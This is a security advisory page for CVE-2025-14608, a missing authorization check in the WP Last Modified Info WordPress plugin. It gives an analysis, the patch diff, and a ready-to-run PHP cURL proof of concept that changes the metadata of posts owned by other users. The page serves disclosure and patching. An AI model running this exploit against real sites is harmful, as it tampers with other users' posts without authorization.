Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14608: WP Last Modified Info <= 1.9.5 – Insecure Direct Object Reference to Authenticated (Author+) Post Metadata Modification (wp-last-modified-info)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.9.5
Patched Version 1.9.6
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14608:
The WP Last Modified Info WordPress plugin contains an Insecure Direct Object Reference vulnerability in versions up to and including 1.9.5. This vulnerability allows authenticated attackers with Author-level permissions or higher to modify metadata on arbitrary posts, including those created by Administrators. The issue resides in the plugin’s bulk edit functionality, which fails to verify user permissions before processing post updates.

Atomic Edge research identified the root cause in the `bulk_save` AJAX handler within the `EditScreen` class. The vulnerable function `bulk_save` at line 255 in `/inc/Core/Backend/EditScreen.php` processes a `post_ids` parameter containing an array of post IDs. The function iterates through each post ID and updates metadata without checking if the current user has edit permissions for those specific posts. The code validates and sanitizes date parameters but completely omits authorization checks before calling `update_meta` functions.

The exploitation method requires an authenticated attacker with at least Author-level access. Attackers can send a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `wplmi_bulk_save`. The request must include a `post_ids[]` parameter containing an array of target post IDs, along with `modified_month`, `modified_day`, `modified_year`, `modified_hour`, `modified_minute`, and `disable` parameters. The plugin processes these requests for any post IDs provided, regardless of ownership, allowing attackers to modify the last modified date and lock status of posts they do not own.

The patch adds a critical authorization check at line 282 in the same file. Before processing each post ID, the code now verifies `current_user_can(‘edit_post’, $post_id)`. This WordPress core function validates that the current user has the appropriate capabilities to edit the specific post. The patch also includes minor code formatting changes and replaces the null coalescing operator usage in other files, but the security fix is the permission check addition. This prevents unauthorized metadata modification by ensuring users can only edit posts within their permission scope.

The impact of successful exploitation allows Author-level users to modify metadata on Administrator-created posts. Attackers can alter the last modified timestamp, potentially disrupting audit trails or content management workflows. They can also lock posts from future automatic updates by setting the `_lmt_disableupdate` metadata. While this does not grant direct content modification privileges, it enables unauthorized manipulation of post metadata that could affect site functionality and data integrity.

Differential between vulnerable and patched code

Code Diff
--- a/wp-last-modified-info/assets/block-editor/build/index.asset.php
+++ b/wp-last-modified-info/assets/block-editor/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => 'a609d5b3313b3514bdb4');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives'), 'version' => '70ef8105af626bf57549');
--- a/wp-last-modified-info/inc/Core/Backend/AdminColumn.php
+++ b/wp-last-modified-info/inc/Core/Backend/AdminColumn.php
@@ -66,7 +66,7 @@
 			return;
 		}

-		$disabled = $this->get_meta( $post->ID, '_lmt_disableupdate' ) ?: 'no';
+		$disabled = $this->get_meta( $post->ID, '_lmt_disableupdate' ) ?? 'no';
 		$modified = $this->format_modified_date( $post );

 		$html  = $modified;
@@ -85,10 +85,10 @@
 			}

 			$hidden = [
-				'date-format' => date( 'M d, Y H:i:s', strtotime( $post->post_modified ) ),
+				'date-format'   => date( 'M d, Y H:i:s', strtotime( $post->post_modified ) ),
 				'post-modified' => $post->post_modified,
-				'disabled' => $disabled,
-				'post-type' => $post->post_type,
+				'disabled'      => $disabled,
+				'post-type'     => $post->post_type,
 			];

 			foreach ( $hidden as $key => $value ) {
--- a/wp-last-modified-info/inc/Core/Backend/EditScreen.php
+++ b/wp-last-modified-info/inc/Core/Backend/EditScreen.php
@@ -255,16 +255,16 @@

 		if ( $post_ids ) { // only proceed if we have posts to bulk-edit
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-			$mm  = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_month'] ?? '' ) ), 1, 12, 1 ); // month 1-12
+			$mm = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_month'] ?? '' ) ), 1, 12, 1 ); // month 1-12
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-			$jj  = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_day']   ?? '' ) ), 1, 31, 1 ); // day 1-31
+			$jj = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_day'] ?? '' ) ), 1, 31, 1 ); // day 1-31
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-			$aa  = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_year']  ?? '' ) ), 0, 9999, 1970 ); // year 0-9999
+			$aa = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_year'] ?? '' ) ), 0, 9999, 1970 ); // year 0-9999
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-			$hh  = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_hour']  ?? '' ) ), 0, 23, 12 ); // hour 0-23
+			$hh = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_hour'] ?? '' ) ), 0, 23, 12 ); // hour 0-23
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
-			$mn  = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_minute'] ?? '' ) ), 0, 59, 0 ); // minute 0-59
-			$ss  = '00'; // seconds hard-coded for bulk
+			$mn = $this->clamp( sanitize_text_field( wp_unslash( $_POST['modified_minute'] ?? '' ) ), 0, 59, 0 ); // minute 0-59
+			$ss = '00'; // seconds hard-coded for bulk

 			$newdate   = sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $aa, $mm, $jj, $hh, $mn, $ss ); // build MySQL datetime
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotValidated
@@ -276,16 +276,24 @@
 			$update_status = 'none' !== $disable; // disable selector != “No Change”

 			foreach ( $post_ids as $post_id ) {
+				// Skip drafts & scheduled posts
 				if ( in_array( get_post_status( $post_id ), [ 'auto-draft', 'future' ], true ) ) {
-					continue; // skip drafts & scheduled posts
+					continue;
 				}

-				if ( $update_date ) { // save new modified datetime
+				// Skip posts the user can't edit
+				if ( ! current_user_can( 'edit_post', $post_id ) ) {
+					continue;
+				}
+
+				// Update modified datetime
+				if ( $update_date ) {
 					$this->update_meta( $post_id, '_wplmi_last_modified', $newdate );
 					$this->update_meta( $post_id, 'wplmi_bulk_update_datetime', $newdate ); // flag for update_data()
 				}

-				if ( $update_status ) { // save lock/unlock preference
+				// Update lock/unlock preference
+				if ( $update_status ) {
 					$this->update_meta( $post_id, '_lmt_disableupdate', $disable );
 				}
 			}
--- a/wp-last-modified-info/inc/Core/Backend/MetaBox.php
+++ b/wp-last-modified-info/inc/Core/Backend/MetaBox.php
@@ -116,7 +116,7 @@
 		}

 		// Sanitize & save.
-		$hide = isset( $_POST['wplmi_disable_auto_insert'] ) ? 'yes' : 'no';
+		$hide = isset( $_POST['wplmi_disable_auto_insert'] ) ? 'yes' : 'no'; // PHPCS:ignore WordPress.Security.NonceVerification.Missing
 		$this->update_meta( $post_id, '_lmt_disable', $hide );
 	}

--- a/wp-last-modified-info/inc/Core/Backend/MiscActions.php
+++ b/wp-last-modified-info/inc/Core/Backend/MiscActions.php
@@ -99,7 +99,7 @@
 			'shop_order_placehold',
 			'shop_order',
 			'shop_order_refund',
-			'shop_subscription'
+			'shop_subscription',
 		], $post_id, $post );

 		// check if post type is supported
--- a/wp-last-modified-info/inc/Core/Backend/PluginsData.php
+++ b/wp-last-modified-info/inc/Core/Backend/PluginsData.php
@@ -133,13 +133,13 @@
 		];

 		$map = [
-			'version'        => 'version',
-			'requires'       => 'requires',
-			'tested'         => 'tested',
-			'last_updated'   => 'last_updated',
-			'rating'         => 'rating',
-			'num_ratings'    => 'num_ratings',
-			'active_installs'=> 'active_installs',
+			'version'         => 'version',
+			'requires'        => 'requires',
+			'tested'          => 'tested',
+			'last_updated'    => 'last_updated',
+			'rating'          => 'rating',
+			'num_ratings'     => 'num_ratings',
+			'active_installs' => 'active_installs',
 		];

 		foreach ( $map as $key => $prop ) {
--- a/wp-last-modified-info/inc/Core/Backend/PostStatusFilters.php
+++ b/wp-last-modified-info/inc/Core/Backend/PostStatusFilters.php
@@ -71,11 +71,11 @@

 		// Fast count query: only IDs, no post objects.
 		$locked_ids = get_posts( [
-			'post_type'      => $typenow,
-			'post_status'    => [ 'publish', 'draft', 'private' ],
-			'fields'         => 'ids',
-			'posts_per_page' => -1,
-			'meta_query'     => [
+			'post_type'        => $typenow,
+			'post_status'      => [ 'publish', 'draft', 'private' ],
+			'fields'           => 'ids',
+			'posts_per_page'   => -1,
+			'meta_query'       => [
 				[
 					'key'     => '_lmt_disableupdate',
 					'value'   => 'yes',
--- a/wp-last-modified-info/inc/Core/Frontend/PostView.php
+++ b/wp-last-modified-info/inc/Core/Frontend/PostView.php
@@ -198,7 +198,7 @@
 			$format = $this->do_filter( 'post_datetime_format', $this->get_data( 'lmt_date_time_format', get_option( 'date_format' ) ), $post_id );
 			$date   = $this->get_modified_date( $format, $post_id );
 		} else {
-			$date = human_time_diff( $modified, current_time( 'U' ) ) . ' ' . __( 'ago' );
+			$date = human_time_diff( $modified, current_time( 'U' ) ) . ' ' . __( 'ago', 'wp-last-modified-info' );
 		}

 		return $this->do_filter( 'post_formatted_date', $date, $post_id );
@@ -263,7 +263,11 @@
 		$html = str_replace( [ "r", "n" ], '', $html );

 		$allowed = wp_kses_allowed_html( 'post' );
-		$allowed['time'] = [ 'class' => true, 'itemprop' => true, 'datetime' => true ];
+		$allowed['time'] = [
+			'class'    => true,
+			'itemprop' => true,
+			'datetime' => true,
+		];

 		return wp_kses( $html, $allowed );
 	}
--- a/wp-last-modified-info/inc/Core/Notification.php
+++ b/wp-last-modified-info/inc/Core/Notification.php
@@ -90,7 +90,7 @@
 			$diff[] = $this->diff_line( __( 'Excerpt', 'wp-last-modified-info' ), $post_before->post_excerpt, $post_after->post_excerpt );
 		}

-		if ( $post_before->post_author != $post_after->post_author ) {
+		if ( (int) $post_before->post_author !== (int) $post_after->post_author ) {
 			$diff[] = $this->diff_line( __( 'Author', 'wp-last-modified-info' ), $this->author_name( $post_before->post_author ), $this->author_name( $post_after->post_author ) );
 		}

@@ -137,17 +137,17 @@
 	/**
 	 * Helper to produce a single diff line.
 	 *
-	 * @param string $label
-	 * @param string $old
-	 * @param string $new
+	 * @param string $label    Label for the diff line.
+	 * @param string $old_item Old value.
+	 * @param string $new_item New value.
 	 * @return string
 	 */
-	private function diff_line( $label, $old, $new ) {
+	private function diff_line( $label, $old_item, $new_item ) {
 		return sprintf(
 			'<strong>%1$s:</strong><br>%2$s<br>%3$s',
 			esc_html( $label ),
-			esc_html( __( 'Old:', 'wp-last-modified-info' ) ) . ' ' . esc_html( $old ),
-			esc_html( __( 'New:', 'wp-last-modified-info' ) ) . ' ' . esc_html( $new )
+			esc_html( __( 'Old:', 'wp-last-modified-info' ) ) . ' ' . esc_html( $old_item ),
+			esc_html( __( 'New:', 'wp-last-modified-info' ) ) . ' ' . esc_html( $new_item )
 		);
 	}

@@ -158,7 +158,7 @@
 	 * @return string
 	 */
 	private function author_name( $user_id ) {
-		return get_the_author_meta( 'display_name', $user_id ) ?: __( 'Unknown', 'wp-last-modified-info' );
+		return get_the_author_meta( 'display_name', $user_id ) ?? __( 'Unknown', 'wp-last-modified-info' );
 	}

 	/**
@@ -188,10 +188,10 @@
 			'%author_name%'          => $this->author_name( $post->post_author ),
 			'%modified_author_name%' => $this->author_name( $this->get_meta( $post_id, '_edit_last' ) ),
 			'%post_title%'           => $post->post_title,
-			'%post_type%'              => get_post_type( $post_id ),
-			'%current_time%'           => date_i18n( $this->do_filter( 'notification_datetime_format', 'j F, Y @ g:i a', $post_id ), current_time( 'timestamp', 0 ) ),
-			'%site_name%'              => wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES ),
-			'%site_url%'               => esc_url( home_url() ),
+			'%post_type%'            => get_post_type( $post_id ),
+			'%current_time%'         => date_i18n( $this->do_filter( 'notification_datetime_format', 'j F, Y @ g:i a', $post_id ), current_time( 'timestamp', 0 ) ),
+			'%site_name%'            => wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES ),
+			'%site_url%'             => esc_url( home_url() ),
 		];

 		if ( 'body' === $type ) {
--- a/wp-last-modified-info/vendor/composer/installed.php
+++ b/wp-last-modified-info/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'iamsayan/wp-last-modified-info',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '98b5e6d3b28cbda42c07bc23cd9417b2a7d4b2e2',
+        'reference' => '8e3f901b83ad739eb19a6dac4158148bfbbffd49',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'iamsayan/wp-last-modified-info' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '98b5e6d3b28cbda42c07bc23cd9417b2a7d4b2e2',
+            'reference' => '8e3f901b83ad739eb19a6dac4158148bfbbffd49',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wp-last-modified-info/wp-last-modified-info.php
+++ b/wp-last-modified-info/wp-last-modified-info.php
@@ -3,7 +3,7 @@
  * Plugin Name: WP Last Modified Info
  * Plugin URI: https://wordpress.org/plugins/wp-last-modified-info/
  * Description: Ultimate Last Modified Plugin for WordPress with Gutenberg Block Integration. It is possible to use shortcodes to display last modified info anywhere on a WordPress site running 4.7 and beyond.
- * Version: 1.9.5
+ * Version: 1.9.6
  * Author: Sayan Datta
  * Author URI: https://www.sayandatta.co.in
  * License: GPLv3
@@ -46,7 +46,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '1.9.5';
+	public $version = '1.9.6';

 	/**
 	 * Minimum version of WordPress required to run WPLMI.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14608 - WP Last Modified Info <= 1.9.5 - Insecure Direct Object Reference to Authenticated (Author+) Post Metadata Modification

<?php
/**
 * Proof of Concept for CVE-2025-14608
 * Requires valid WordPress authentication cookies and Author+ level access
 */

$target_url = 'https://vulnerable-site.example.com'; // CHANGE THIS
$cookies = 'wordpress_logged_in_abc=...'; // Valid auth cookies for Author+ user

// Target post IDs - can include posts the user does not own
$post_ids = [123, 456, 789]; // Administrator-created post IDs

// Prepare POST data to modify last modified date and lock posts
$post_data = [
    'action' => 'wplmi_bulk_save',
    'post_ids' => $post_ids,
    'modified_month' => '12',
    'modified_day' => '25',
    'modified_year' => '2024',
    'modified_hour' => '14',
    'modified_minute' => '30',
    'disable' => 'yes', // Lock posts from future updates
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
]);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[SUCCESS] Modified metadata for posts: " . implode(', ', $post_ids) . "n";
    echo "Response: " . $response . "n";
} else {
    echo "[FAILED] HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School